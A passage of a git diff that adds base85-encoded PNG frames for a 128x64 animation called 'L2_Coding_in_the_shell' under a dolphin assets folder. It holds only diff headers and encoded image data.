zx>LD>2vPt9-swAdgA~9o+7>tU1`&mj0w7p#JVhNAQUHwBYj4p+pzZ}kT@y#KegP&@ z+oT6Dpq?O-)l;tH_;hPgAG8`7>0000JD7EIkh4~|*uxD8|0$>ry(!3F)N^~m*op0#EotrZRNj#orrD{A?E%lXn= zf~M##rEl3r%g+onQ{57Qd>;iej6%v-?P;~etL!6<1W>?>L3O)l=FW@Wb2P$uwTf0g zA~B#0AUzCX0bP;m8AV8Q`BGc8{d5%55_)`})SlG=4FmbMXYpiYhap;`bvx*>6V2%q zkBGpLo%YSND+x}zKLQ>b1+0F*j5OBgpv2Bs!vsWkKGieB39xc{L`CkZ3RNdSh{V{g$&psoc(ofAi4y#N!b zZ>E19K#RhW_B5OP-XF>F71wcmrnTA98}f?SU3->I-Z#-m@IM30bYZQI?peA;ZPsn= zSTsy00#V04;S@{h&lDgdG2Oq8^>*|V?T#Gr9PmGmv?6oFvEKWu^vE`{54Fo*D2axT pTR`izsHcvN6j!4i74?mviXX-Ej{7HGalZfn002ovPDHLkV1j2C2VnpJ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_2.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_2.png new file mode 100644 index 0000000000000000000000000000000000000000..c259b5a5ad1e5a3013bfb1723c644192974fd6aa GIT binary patch literal 1122 zcmV-o1fBbdP)t<)mm$kb?zpF zJ0Ychqh1dgi&ZCzkOwH}&;+juOHvNY18|Ntstl$A&;d~QjN&_OC%Jb1zB3;`3p^ID zc>q3sR2K=HDnoQGLnKgp#+5+2M{QOHpZJmSAlI(F3n^WcL%H$*h`mw)S_~g86<4-? z?#-@JW-3U}{BXfXzN1LsAf!Qm6Nr9MXpr2Y)sANz zXXOTW3!nBI2?<^$Fcm;z_R=%d#@o*G-ly@D@M-^EZ{Sq|Hwn}d6P!Qr&e8I3l(;;J z8CEV=DnXGzCuZEo@P3b$VlNVy2$Hgdwu9+Q_%G_fYO9e&UPr4hU29}BV#zaFe*{{{ z2$4YRg`P>$2%#r)==lz*u64g6MiOaUJ}wU+?d?m?toz7^c|41!FR5+Bnpd@Y4rsJR z0(H#p{ztNeRJKI|7suH!;LZf{dx-@0dyV*c>+o{zJ)ZW`^K6imCA=Gm)|6W4u(Z_L z9=3=cYLB+43m>=?z?wMpj0;{84lU=_Z5^(NlFn#6pFRFxfg*tlR#AX6M6gKU1~@|m zPh|qHBxY8|uW${*%Ro=2P0QMOh?&&S(;+B}0)|2WB4*rrN6re)GU0SAPb=Xa2>)pq zFGJUwg9c6qkP=fXtn)`f6?^zRfM!t^vE%pJghzzo=~p77-f!{r zH9Pp&pmAo+1ny@2Xt|B*^y`$Fz}1KY0d=R)lcCkhCKi$eGksLma02qn-HL7`%t;H z?9IRppa)n%^P?83DTw3=v^Kk7Sr2fvd#0XXcdMs(9|t~&F*8PlZ;g%5!|vAKTKj~6 zl?EGC(ugoK#C?k8Lcq5zGn4R-W5ItNJ1Ttd_%dvUQMmtcq-J?{Jv$>5YnLoT%$M*Z o1Xu?zo_sbcAbv1ZOA2MgUtl%O-@u_QY5)KL07*qoM6N<$g5zNe)&Kwi literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_20.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_20.png new file mode 100644 index 0000000000000000000000000000000000000000..ae6e765320468d8e8f2d65e5f7733beb50428158 GIT binary patch literal 1153 zcmV-{1b+L8P)#%BkmJr|;KQF=waEoupim?hM!0c}SLXKz>{6ra+ zJlK(t;SGx6%`*ZTm-JfjG(Tmkwv9BQA__782Y+B`>nqEsMc z55N^)^Gv*Ld&>TyEutmQ)DM@xdtO5lyJCqer?LIvOo5dBg|=Hi!fUaoKg z-1B}c(Bldvz&-Du2N(ge-uQW9$x3A8*un^qvG^A}!W7^l7N|)EIR;wfpCic|RU~81 z5CUk5KfCFgwUe~X3{4)=u|WdzEI^_Fp5&~3QTq{#omKgIms__2aK)#RnFT+(2e0i< zPy;GXNzVP%cVy0P0&vB*r~&stBr^$+IjXWjK zl1j=3=W}(=ZCkaEVkCe>{v+1m>bw1I=Fjp5lB6%^Gcsp10nDcW>DsTg*+N?|nO@fJp%)YrhnnY>(PV>_kDcK||#> ziUF0c=@j5CdT*zN^r8eMsa9Avf)VFpDewvelCyvNt;Z_CM zjXI#&E|pfotpFBy27I*JkMgInkC>%iB3kO9CcsGkJsUvDZys1@xmO*cb3vF31n`Ogx_`#P;FE@lr3%ms9302t^Y~;B65ocOaUzW z0B#1Qx#09Sxn zke>B!)Gtf%D>CIAMgU3i+aPA-sJ5uStxu_K%8nOOe^kz#9cpYmODWm51Smio1o!{U z#|#pm5<6N*ZF|;e>sV@h{ApX93Lq^AVh_;U86~=ES+HzaJw7zHQYgSIAnSVA`u4;U z1ujmHEl(_L+Y+b%Tu|2K!5YIVcw}DE*5m(A+X7I4s11t5XSU+Eux>(;O9zKvmfqa{ T$gmm!00000NkvXXu0mjf=(QI2 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_21.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_21.png new file mode 100644 index 0000000000000000000000000000000000000000..e97affd7e33ad404e249fcc1f0c9e1251539a653 GIT binary patch literal 1134 zcmV-!1d;oRP)c%G;A-j_dDz@AYcY2SMn+dGY~=mAjhCSXqX{4)!l=lT0DJJJ$hm-JhZod~@p zTmq=_PKC4&3)`zcGa-!vtY*AN0-}*k5mFFuWbrMW0H2ur7a4pECBP>q|3$Q~ zVFak;|3jqDAq1%8|3sAU#|aRT{MQBt5rm8&!BGO#%-`d5ERGSNl26CUm>eNMC7+K| zu{lD3N`791DL`S56LE4UKqX%X?|8Wq09yMCJb048jQ~~n-2oQ@WJ|upb~d&0ik%Aq zG9|x&z^zewIIRPs9cfphZm3)6#$JCSnwdM1HXB^!Xph%#@N=YqMz>ENx{6~^N zvlK-W_=If}0$|C1fA77Q8W1tY3L>wS3YZXJC;M5{;0BEGx#lv6QvJ^)C?foiIVRV9 zAAqyTe7JU_FBiU5@4Yt-OG0K7p>{L0ty8MYhHsDOG2fJnemgVj5bEvOBZ zd{S_2NcpW_?FCS-?VYXvg}5EmgE*BkGZvx^Z{zES#?LbMHp)_(4QASr|1 z9iLlCsua88Q{tP{wgw^s>}I~#jKy{W8U>QJ79 zO#qAJtIn<$)xMWKPX89OG=hj~1!zrI$WT7hKsw8{>fr60)zL6}7ho;_zeRpmxWP9Q z1t{E$kQ$(n2c-ZXj#7XRhlv7kzZfz0#j$%6EPb;)LZ0EK0OPG0c5F*=Vt)U`r4I+t zm?XZ9@V*LeO|T85oCJ=~umh6u9qgEQY@fOA7{_Meo8|R3gk$Fb(u)x2`gb)Z$S#Gb zoM+H;?p1IGB{Ne1X<;b6G_hJ^rO#IHYHvrWuv`{gYXGlf-7IVWj2nG6JqMUSvkV9n zh{)|IB?cNm%b%5MwZSw%;#M{SZp|icOyV+bQ0_mjSW<W}?qB@44l86#z4K#<0g zW8=rWO{oCXglOfOavlJU(E}JEtk!R7{5S;o22^Z~6n|FY3;+NC07*qoM6N<$f>!_r Axc~qF literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_22.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_22.png new file mode 100644 index 0000000000000000000000000000000000000000..b5c615924320e84de411f7440a52ac039ccf72e9 GIT binary patch literal 1021 zcmVh_d{!&qSPKt;!{GsNI6MFjhX=sn@Bla*9sq~K1K@CY02~evfWzSda5y{w4#$;} ze-?ByJOdn#3;q&gT&0J@5HRa|1~?qw43O`B?+MM{b{u@ghe6iCXmxj5pt=acUOBW@ zGqeQHjyh53XKjfor9_Qp%`TPN@KAZRr+^mEj2$C-jq+r^xYH7Vb76MIlkB)cSU3N} zh7!I9SEIG2vn7Y4pL7N&bu0BRd0MuN=r+Sc-UMpRsHL-O&acVC-q+p(w0L^Xr`R&0 z+YHY~OE?7_=ZCO&_swxWq?58|WQU--2&KdqASgOQqJ%3T1)|uPpXWK+Ede!!eh1v z(75w==oK`28B5zPEJ|iJOeLRI!-tJyTphVQr4CYd^>zqcJuyD?%b}y=UyV;I2uc~+ zb90SnC%Z5`Yfza2ten3Ko@|%;9^mcH522j_q~zwGHGn=AKDzxo$@wAR_ReBZw~lY{*G)v(%Y3Ca=zn~OCr&gcR}f(Pdvs z>A03W%Mt+pW@R@gz5$hAhry|AT?D187|zPRaQLf!nBoIh*RK00000NkvXXu0mjfVmZ(w literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_23.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_23.png new file mode 100644 index 0000000000000000000000000000000000000000..ef4876275d1b45266fc7b2d6c72f04eb52b30bbd GIT binary patch literal 929 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 B)Or8_ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_26.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_26.png new file mode 100644 index 0000000000000000000000000000000000000000..379e29b50da74d40cbe316425e68671a6047b9f4 GIT binary patch literal 1408 zcmV-`1%LX9P)1RCt{2TkUQvAqdrG-v5>7{^)hXGJK1!TRlm$=?p3e9KmgC zDdjE)+v4Zb3LJbECjd6b34qOU0$_8T0N5NS05-=7fX#6NU~`-R*c>MSHpdBo&2a)? zb6od*z6;tJhXFRn1%IiveoBvniGZws7+`a}7@%eUsR{lzYOST#`ttMJ5dfX99S1m2 zj{JAX-}n6{dr`tLLO4K~5%R0)^OxiyF6#s{03#FXvx073Q2KNB%|>H^`@Ww=;OK0Y z=4{GgnriRc&&uHRZ2QF7=LMX@G9M?yb^%S8`}D|D0R!jJ3Q%qHB06Q;i|x>yg5OgP z&GZ3>`n#UJ_-hJM3wz`-Ekas?G8Dt$XPnGv8}M^VXUPsu_fa-b`aX)l2%US!XwJ6+ zGDDV55qXcpsd+fr(KeJ4xC!iyIy{cr04*!v7%8(d?ci7l(k!HIEU!5_!eS9S@R-M! zK{E?LEmNZN&u+W8^BmR!qnI^f2b_P}RWL4=a27|AQBg<1=^t@8R~V1RD*#5ee_X}v zrT-Nn(LIJWSUri++YSzA0Ik)@rvDj`=)aVw1HI17Vn++eiy-OKB8%T!3nIUz z7R>=1D{2Lw72MH~Wy_Cc0Od&B%1L9m%6(LHXC=fsUV2-{oI^X zJBjs;-UnQs^VHG-NHpJ*1)lSNL`TEPNXJ`N);HjQ=&`5C{fu@#)#6FfxpMVSL8@uE zV<0lWHb=DUNNWS7%-87un;~U-PoXP~%`Bi(?*S~EA<^hJ!ovX6xKHE9+Acs)hL%DX zFHmMS{YPxF$l`Gx2FN%DsAmzIYOTM24`5LMPmHTkt$(#JK<|6Xc#lmUc}g#9As8uW zBkXAjw9vnXY0j6be{M6f;hi(8gJd^+&#l>Ozt(PQxTGlIvV^K^Et_EJATnUBfP2TZ zXV&1Co>|uRFb00cL1X}_{o{=0&L!)a>P3`MB-^ZOWd^@xZ7kd7gY)CHG~3Ak3$Owz zg^vXcDJrGlShYK#Hd$hTCWq&M;P!}<%Sfhh0C+DRtjgkS&Ss1e&={b};Aa?CTe%`T z0yY3N8o?Rtse&b=wCovGH1>dUK4%9+uN{;R;Cj@NfDyU~!cnI=-C}4{w*6oO;XEq^ z1Es50JVP6M*OvCn0`czwC}^!;Mr+gNr#6aWC60Er&#W=HFr@U&+7}Km+bOVi73LyH zYu83Pp97U;-nIvi&ln>y){K3@I#KJefpI&uvO0gXu`5tNg-`Db*24mG4X}#yOIhcO z6bR4$jD}~O$4#K*ycL{p!K@>ojg#&JR@)zJ=i??&I#X9+07+l#`dXVCS!<>Jq1K|- zR*!&{oxd7Z+aJqOV5$K;&Yy9{tr%#YV_+qS0pKnCRyA@aR@)!A9+fnYe-HOYvi1oT z*#Xg{;pVbJ+FxnCONvU1b8(TuDJ2=>2@V{jl8h$_3=^OL O0000txvo8u(F<~RwkIZgs>j*|eJ<0Qc5 zxJo(S1?`N(0Gs227dhvr^f;IZ$ohu?HpiO*>h3>1!EYnyoN~_ZIDeD?7<{c9;6yp{ z-yvU0`H;ORVVEHtpv;l~E_sNTb%KN60c3$&6F4IK4*CNI5!1RR55b-SsxbHIk*5*{ z&r{{7W|XUUEjo>|m(v-JgLc+?R6u*ifJ6Sfp1t{_jEgobFe&ggrxPC2Tc;LzN;hl= zcTF*AZyP9mZV50O)Q*=NvwF#ql9>zgQ}*PX{ci$WvyK{DDKFw2?)}9~2EfmtJ)CWn zEXIs@+`bGN(Ev*Hra4HP)4J1I?eOemSkoQO7^7o7Z;8>a`w23U)M@9`>-VgJq_C8N?lVTC*G*KMQbO=~(O4 z3C}Z?0q~-|&d%Jumbzy}Z(F2wtaNWpdMU9q{akjJQi?UxtQ{wJ9=3MJPw!m?hWSnIJ4qRP|9{D1jwFfQC19hW*rq=SX9X?iC z0p3Y1-7J;G-atk%ivj90in612Qhw6KeGX}cEGJ;;C)LY7~O0Z7LiVAl5HXbNE1stpW6W( zGxUUYPR(haFDy8z>ndDcPg@<){tc_cm+NXU{QsJmn{Dj#lQP zV!_FgcBMrBzW}XPjX3g9MnQe3wXNf+`Ff1us8|a4sFEcy0n0eWp~;NkOKVcsD?!qA zlz%uqtZTS?fSJLs>!n0@zN?}7fTI3c!S~`;0^BuZLK0AV;GeOKh8`sVj-z^kC;S8T zviRm!0=ULzh2Tp%QqQ7uSjI@#EBcALPDyza7%^^le4C%tSHYgf&qAZWj+OjmSxZa+ zZ}3;j?5D7rpR^?SNB~MXZx1jUD<_(#cX~=cy!P!^!YZN-;7sG#mmA0??z43ar^jl3 zg6qMbbIzZ~z)>08bH`#GRyhXN=aI50v6{!%nxCook#7R6i{ev)^%*CpVP*P<=-D{; z@G;iqLsu;UxJ9grNeXffkaokjB!DN_9zR%mG1P90Y)@1QH7=8ue|#!u&yKep%%c{ Z{Q<|V0t{JT*ZBYd002ovPDHLkV1jSOji3Mk literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_28.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_28.png new file mode 100644 index 0000000000000000000000000000000000000000..7685c3bc3f7e9dcc355b0509a3cc78787b3ce434 GIT binary patch literal 1882 zcmV-g2c`IlP)Y^Lq$%zQ47nz@^=XOD z?z%3^vMs;(v3Pu1fnR(UzX|Ze@tXiY9M4Y*-?mr!v99ZfH2DnfVE?*&fCNUvccb@v zjuW!u+<7x`REKPD$NrhPyahxZ>xgqcksOG$&FtmMm&(^&98LhnW;1f|T?16`(fU__1wDTr36iP;uCF_o zQUP{_km6BE6nrNc*cdmF;;xxFKH8&_Vid~eSqcA~RZ3LmyTtE^E>05d;~Y7i@yb3o zf!O`CxzXVY;AZ4#<{sVsajYx9!|Yj$I-AhVTL0x$aCgCMd~O9<$@n~Hf0pfXg%RTD z%**ASIUJ2gHdO6V+3)fz7jd283NVuG%wS}^LRC#%;@Fj;n7OMHlaeuW!lhc9HsXMQFRs|o;bCSi?xf&na0Mkjyd9eOmE#w&K zJkMiYupXYvB1_O*o+~?%zWI5U$v8kaaXWBg7xj1}fo>4k&Om)n5hfRmG@|=42~eP2 zT@b;o2w{FU%YJu!cg@zDKo(r5Y_i?jAy{la(ld`!wx}@`7hw7*0*Rg}KaBWDA+GcG zpFx!nml&ZE)Rm=_?>M9)oX%QK5}?XdB{|cr8iUqBdZ@LxZ5w+PTm|0|p6}(}jpTLp zn*~;}s-UuDamZ+OZx;S1KzBzeBXYTO`|!SAW$^3(yQtbhHQrf2{;d3#lc{UNj^PTx z6jS%Bd(mjtI;!BGl^j*@E5exV+dm^Y&b@g5NQHneg4A^eqjlFr!QZc}RI>5ts&qnQ zRnXOV1eEA*ARSIq*|Ou|OhBZBDS>vbQjR^3hAM8r&`IR3%a(E*QPH2VTl@bMbAg&vav^Pe=@}!;c;%oUX=`W9Lqbw zHO}EFN7g_Ufc1U!+#!aQ|CB%6n67`XwS!oh{=ZN`kkq8p23e z)+^56?~hiZEL&9!RL;>{r|ciW$of_Sus(K1@R985G=R|M4y>nloyvkf+b^#ye-uns)-&1==XKU(b4NDC z6%{~nkhihU5#VmY-*sYrnGrrmw{8+Jxp(vr!c%3)Xz#zW*X>YcU!4Hr{LG-yIOqP| z{G(!AR)9N}xvK25*1$eH>p42y#Xn3(1nU&=X#$vaarMmiU7*(C=x_)BbYUL@@08&c zTc0IgkxVA@+mb+jQDii%d%XggK|9lyxm2RNccoXh^rgtPmZee7995)rCkqe?m3M`$jKF?|uFN?%+6&8x;JsO(jJ z6z$TgROhwX7_=^u?d&UHo}eD~XfFHQ)q#z5cAnD$9KGD+ zWM!Cbt~@652-fF2zFQXXmqCc|I0`z#5Y$@ee4Xbw`ZC=Z$#dqgd8l2gU9Jde1+^Bc z+(_T@JpfV&5sQjwbr?C);m)N$Lz1qd3b4STxtZ*-F+=YG)I_)J*8>5^jx_KvMGk!t^xYDnG0J8J$ Ul%@YR0ssI207*qoM6N<$f+5DWo&W#< literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_29.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_29.png new file mode 100644 index 0000000000000000000000000000000000000000..5f114a4792484666f993282c843792cedddc0000 GIT binary patch literal 1757 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 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_30.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_30.png new file mode 100644 index 0000000000000000000000000000000000000000..645ffa6692bd5d8b4dfd364b80f5126d1a30ebc4 GIT binary patch literal 1426 zcmV;D1#S9?P))Xn>;PCCI{+5P4uHk617LCN09YJ5 z02aqP=lxmG%GeCBINtJyl+s;xY)ph?{mlT2{z?JT`B6I1 zfwJX)Lq6yHCHqFgGD0j!nJxcY@)9q0fQ`Qc$pWV$a76TN^oMk!ru9f(!aM~OVe45V zj{>H4{N6Ur9GmHb96H6O|N8jiuNa6F_mZEX<7x7D=twD@17Kqvq?GD!0)HX0N9cH> zO+EUYJ`5UB0FFN5%+T>fn_6`gLVdCwZzS!d`TeV$-buQjfc%{gZ_n(wGmnLcRuk3I#A&@r=5>6i8;z}k2p$Gph& zAPboudY-@lwR)`e8tEVUCh+PR)iX?APhQnC`W~Rww%T+0aqyd{b=|0M1@}7sMY}xb zy!6r1+Az$Tl#@wWL#AKO8Gj+91t@aSj*-=FY5&W23vxc*+z`XeK$ifJ&PC2d?ONtI zj+2b+kD%qAh+0ZVEE%QJEAxL{IcG}aEN5En7UU(1W()nY&d%D-yY2xbB}<#pIGVye z=y9Xe>fSvZ#J`F2@=_Fu(zu#J%A!O|M{NZ?@)TgPAR`m4hb6-n+!{@P8m1=|O`wJW 